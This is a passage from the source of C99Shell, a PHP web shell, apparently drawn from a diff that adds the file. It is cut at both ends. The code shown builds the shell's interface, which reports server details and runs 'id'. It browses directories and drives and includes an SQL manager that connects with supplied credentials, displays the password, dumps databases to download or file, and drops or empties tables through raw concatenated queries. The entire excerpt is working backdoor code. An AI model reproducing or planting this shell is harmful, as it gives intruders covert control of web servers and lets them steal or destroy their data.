#FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + reset($e); + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = true; + $wdt = "<font color=\"green\">[ ok ]</font>"; + echo "<b><font color=\"green\">".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = false; + $wdt = "<font color=\"red\">[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === false) {$free = 0;} + if ($total === false) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".$letter.":\\\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=\"green\">".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +?></p></td></tr></table><br><?php +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php echo $donated_html; ?></td></tr></table><br><?php } +?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = false;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = true; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = false; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = true; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = true; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img 